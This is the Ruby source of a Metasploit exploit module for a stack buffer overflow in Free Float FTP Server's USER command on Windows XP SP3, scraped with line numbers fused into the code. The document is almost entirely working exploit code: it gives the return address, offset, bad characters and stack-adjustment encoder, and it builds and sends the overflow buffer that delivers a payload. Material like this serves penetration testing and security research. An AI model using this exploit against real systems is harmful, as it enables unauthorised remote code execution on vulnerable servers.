Path: blob/master/modules/exploits/windows/ftp/freefloatftp_user.rb
19812 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::Ftp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Free Float FTP Server USER Command Buffer Overflow',15'Description' => %q{16Freefloat FTP Server is prone to an overflow condition. It17fails to properly sanitize user-supplied input resulting in a18stack-based buffer overflow. With a specially crafted 'USER'19command, a remote attacker can potentially have an unspecified20impact.21},22'Platform' => 'win',23'Author' => [24'D35m0nd142', # Original exploit25'Doug Prostko <dougtko[at]gmail.com>' # MSF module26],27'License' => MSF_LICENSE,28'References' => [29[ 'OSVDB', '69621'],30[ 'EDB', '23243']31],32'Privileged' => false,33'Payload' => {34'Space' => 444,35'DisableNops' => true,36'BadChars' => "\x00\x0a\x0d",37'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -350038},39'Targets' => [40[41'FreeFloat / Windows XP SP3',42{43'Ret' => 0x77c35459, # push esp; ret - mscvrt.dll44'Offset' => 23045}46],47],48'DefaultTarget' => 0,49'DisclosureDate' => '2012-06-12',50'Notes' => {51'Reliability' => UNKNOWN_RELIABILITY,52'Stability' => UNKNOWN_STABILITY,53'SideEffects' => UNKNOWN_SIDE_EFFECTS54}55)56)57end5859def check60connect61disconnect62if (banner =~ /FreeFloat/)63# Software is never updated, so if you run this you're f*cked.64return Exploit::CheckCode::Vulnerable65else66return Exploit::CheckCode::Safe67end68end6970def exploit71connect72buf = rand_text(target['Offset'])73buf << [ target['Ret'] ].pack('V')74buf << rand_text(8)75buf << payload.encoded76send_user(buf)77disconnect78end79end808182